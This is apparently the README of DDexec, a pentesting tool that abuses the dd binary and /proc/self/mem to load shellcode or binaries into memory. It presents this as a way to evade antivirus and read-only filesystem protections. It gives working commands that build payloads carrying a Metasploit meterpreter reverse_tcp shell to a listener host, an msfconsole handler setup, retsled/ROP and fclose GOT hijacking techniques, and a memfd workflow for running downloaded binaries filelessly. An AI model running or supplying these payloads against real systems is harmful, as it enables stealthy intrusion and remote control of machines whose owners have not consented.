DDexec

This tool allows you to load shellcodes and binaries in memory abusing the dd binary (installed everywhere) from a regular sh/bash shell.

This technique can very useful for stealth purposes but also to bypass Read Only protections in systems that might has applied that protection to make harder to pentesters to run binaries they want inside the system (because they cannot write them).

Note that in Read Only systems you usually might write inside /dev/shm, but that folder might be protected with noexec like in:

echo 'apiVersion: v1
kind: Pod
metadata:
  name: alpine-ro
  namespace: default
spec:
  containers:
  - name: alpine
    image: alpine
    command: ["/bin/sh"]
    args: ["-c", "sleep 100000"]
    securityContext:
      readOnlyRootFilesystem: True' | kubectl apply -f-

Installation

sudo apt-get update
sudo apt-get install readelf objdump -y
sudo pip3 install ROPGadget

Execution

First of all you need to to download some files from the victim system:

Dowload the dd binary. Find it with command -v dd. This is required.
Download the libc library. Find it with ldd $(command -v dd) | grep libc | cut -d' ' -f3. This is required with mode "retsled".
Get the Libc base address from the target executing: printf "0x";(linux64 -R setarch $ARCH -R cat /proc/self/maps || setarch `arch` -R cat /proc/self/maps) | grep libc | head -n1 | cut -d'-' -f1

Note that in the STDOUT is only going to be printed the commands to execute in the victim machine. Banner, information and logs are printed in STDERR.

Then execute DDexec.sh with the command line you need to run in the victim system.

bash DDexec.sh -o ./ddexec_payload.sh -l /tmp/victim/libc.so.6 -d /tmp/victim/dd -a x86_64 -H 127.0.0.1 -P 4444 -p linux/x64/meterpreter/reverse_tcp

Now you can either upload the resulting sh code to execute in the victim, or copy-paste it in the reverse-shell of the victim.

To run a binary you need to use the argument -b. Please, read the Binary Load section to learn how

Help

Use this program to execute shellcodes and binaries in memory.
Arguments:
    -h Print this help
    -o Path to the output file with the final payload to execute in the victim.
    -d Path to the victim dd binary (you should download it from the victim). Find it with 'command -v dd' Required.
    -l Path to the victim libc (you should download it from the victim). Find it with 'ldd `command -v dd` | grep libc | cut -d' ' -f3'. Required with mode "retsled".
    -H LHOST to receive the meterpreter
    -P LPORT to receive the meterpreter.
    -p Metasploit payload (by default linux/x64/meterpreter/reverse_tcp)
    -a Architecture of the victim system. Get it with 'uname -m'. Required.
    -m Mode of memory load. By default fclose_got if dd binary not protected with full relro, if protected, retsled is forced.
    -s Shellcode to execute in hex "4831c0b002...". If msfvenom params are given, msfvenom will create a shellcode. By default a shellcode that echoes "Pwnd!" is used.
    -b Binary to load in memory. It has to be either statically linked or use the same dynamic libs as on a target machine.
    -B Binary to load in memory. It has to be either statically linked or use the same dynamic libs as on a target machine.

e.g.: DDexec.sh -o /path/to/output/payload.sh -d /path/to/dd [-l /path/to/libc] -P 4444 -H 10.10.10.10 -a x86_64 [-m <fclose_got,retsled> (default fclose_got)] [-s <shellcode_hex>]

Explanation

DDexec is a technique to load arbitrary shellcodes and binaries in memory from a shell in a linux system without needing to write anything into disk.

This can help you avoid AVs and protections (like a filesystem mounted as Read Only).

Basically, this program will prepare a cmd line that will make dd overwrite itself during execution in memory and execute a defined shellcode or a different binary.

Therefore, what the prepared cmd line is going to do is to use dd to write a shellcode its own memory (via /proc/self/mem) and then get control the RIP of the dd process to execute the shellcode.

In order to control the RIP 2 techniques are implemented in DDexec.sh:

Retsled

This technique was defined and developed by Arget a good friend of mine and a really awesome guy in binary exploitation.

This technique uses a retsled to overwrite an important part of the stack of the proccess with the goal of overwritting a RIP address inside the stack with a series of RET. At the end of the retsled a ROP chain is located, so once the RIP is controled by a RET instruction of the retsled the execution will arrive to the ROP chain.

This ROP chain will read the shellcode usnig the read() function from libc and write it in 0x0000555555554000.

This technique generates a bigger cmd line than then next technique, maily because of the retsled, but works with any dd. It's the default technique used by DDexec when the dd binary is protected with full relro.

Retsled Address

In order to control the RIP the retsled needs to overwrite the return RIP address saved in the stack by any other function. In order to do that, the retsled DDexec uses is overwritting a page from the address 0x7fffffffe000. This is because, testing different DD binaries it was found that, with ASLR disabled, the return of the write function called by DD is saved in there and that function doesn't have a stack canary.

You can check that doing:

gdb dd
> set exec-wrapper env -i
> b *wrire
> run if=/dev/random of=/dev/null bs=5555 seek=55555555555555 conv=notrunc oflag=seek_bytes count=1
> i r $rsp
rsp            0x7fffffffeb88
# Check that address of $rsp is inside the offset overwritten

Example

# Prepare ddexec payload to attack localhost
## To attack a different host you need to DOWNLOAD its DD and LIBC BINARIES
bash DDexec.sh -o /tmp/ddexec_payload.sh -d $(command -v dd) -l $(ldd `command -v dd` | grep libc | cut -d" " -f3) -b $(printf "0x";(linux64 -R cat /proc/self/maps || setarch `arch` -R cat /proc/self/maps) | grep -E "libc|ld-musl" | head -n1 | cut -d'-' -f1) -H 127.0.0.1 -P 4444 -p linux/x64/meterpreter/reverse_tcp -m retsled

# Listen with msfconsole
msfconsole -q -x 'use exploit/multi/handler; set payload linux/x64/meterpreter/reverse_tcp; set LHOST 127.0.0.1; set LPORT 4444; run'

# Execute dd exec payload, you should get a meterpreter shell
bash /tmp/ddexec_payload.sh

fclose GOT

Based on the technique described in https://blog.sektor7.net/#!res/2018/pure-in-memory-linux.md this technique writes the shellcode in the GOT of the last function executed by dd before exiting: fclose. Therefore, when fclose is executed, the shellcode will be executed instead.

This technique won't work if the dd binary is protected with full relro because then the GOT table isn't writable

Both techniques are possible because the ASLR is disabled when executing dd using setarch.

Example

# Prepare ddexec payload to attack localhost
## To attack a different host you need to DOWNLOAD its DD and LIBC BINARIES
bash DDexec.sh -o /tmp/ddexec_payload.sh -d $(command -v dd) -l $(ldd `command -v dd` | grep libc | cut -d" " -f3) -b $(printf "0x";(linux64 -R cat /proc/self/maps || setarch `arch` -R cat /proc/self/maps) | grep -E "libc|ld-musl" | head -n1 | cut -d'-' -f1) -H 127.0.0.1 -P 4444 -p linux/x64/meterpreter/reverse_tcp

# Listen with msfconsole
msfconsole -q -x 'use exploit/multi/handler; set payload linux/x64/meterpreter/reverse_tcp; set LHOST 127.0.0.1; set LPORT 4444; run'

# Execute dd exec payload, you should get a meterpreter shell
bash /tmp/ddexec_payload.sh

Binary load via memfd

This technique was taken from https://blog.sektor7.net/#!res/2018/pure-in-memory-linux.mdaslr and modified.

In order to load a binary inside dd and execute it the following steps are performed:

Use a shellcode which will create a memfd file in a memory. This is done using the system call memfd_create() which creates an anonymous file and returns a file descriptor that refers to it. The file behaves like a regular file. However, it lives in RAM and is automatically released when all references to it are dropped.
Inject the shellcode into a dd process (using one of the 2 previous techniques).
Read the binary from stdin and write it to the memfd created by the shellcode.
'suspend' the dd process (also done by the shellcode).
Access cd /proc/$(pidof dd)/fd; ls and execute the memfd file containing the binary (e.g.: ./5)

To perform this steps with DDexec.sh you need to indicate with the -b argument the path to the binary you want to load in memory:

bash DDexec.sh -o /tmp/ddexec_payload.sh -l /tmp/victim/libc.so.6 -d /tmp/victim/dd -a x86_64 -b <BaseAddress> -B /path/to/bin

Then, upload and execute the ddexec payload generated. This will generate a new dd process which will have created and exposed a memfd file and suspended its execution (so the dd process doesn't die). You can see the new memf file exposed running:

ls -l /proc/$(pidof dd)/fd/
total 0
lr-x------    1 root     root            64 Feb 25 12:37 0 -> pipe:[111631]
l-wx------    1 root     root            64 Feb 25 12:37 1 -> /proc/73/mem
lr-x------    1 root     root            64 Feb 25 12:37 10 -> pipe:[111631]
lrwx------    1 root     root            64 Feb 25 12:37 11 -> /dev/pts/2
lrwx------    1 root     root            64 Feb 25 12:37 2 -> /dev/pts/2
lr-x------    1 root     root            64 Feb 25 12:37 3 -> pipe:[111631]
lrwx------    1 root     root            64 Feb 25 12:37 4 -> /dev/pts/2
lrwx------    1 root     root            64 Feb 25 12:37 5 -> /memfd:DEAD (deleted)

Notice how one of the file descriptors is memfd aparently "deleted". Note that the fd is 5 (in this example).

To execute the loaded binary just do: /proc/$(pidof dd)/fd/5

If you want to reuse this memfd to load another binary, you just need to write it in that file.

For example, to load the kubectl binary you can do:

wget "https://dl.k8s.io/release/v1.23.4/bin/linux/amd64/kubectl" -O /proc/$(pidof dd)/fd/5
/proc/$(pidof dd)/fd/5 # This will execute kubectl

Full Binary Load

Instead of using memfd files you could completelly load the binary inside the DD proc memory. You can find this completely awesome technique in https://github.com/arget13/DDexec

carlospolop/DDexec

DDexec

Installation

Execution

Help

Explanation

Retsled

Retsled Address

Example

fclose GOT

Example

Binary load via memfd

Full Binary Load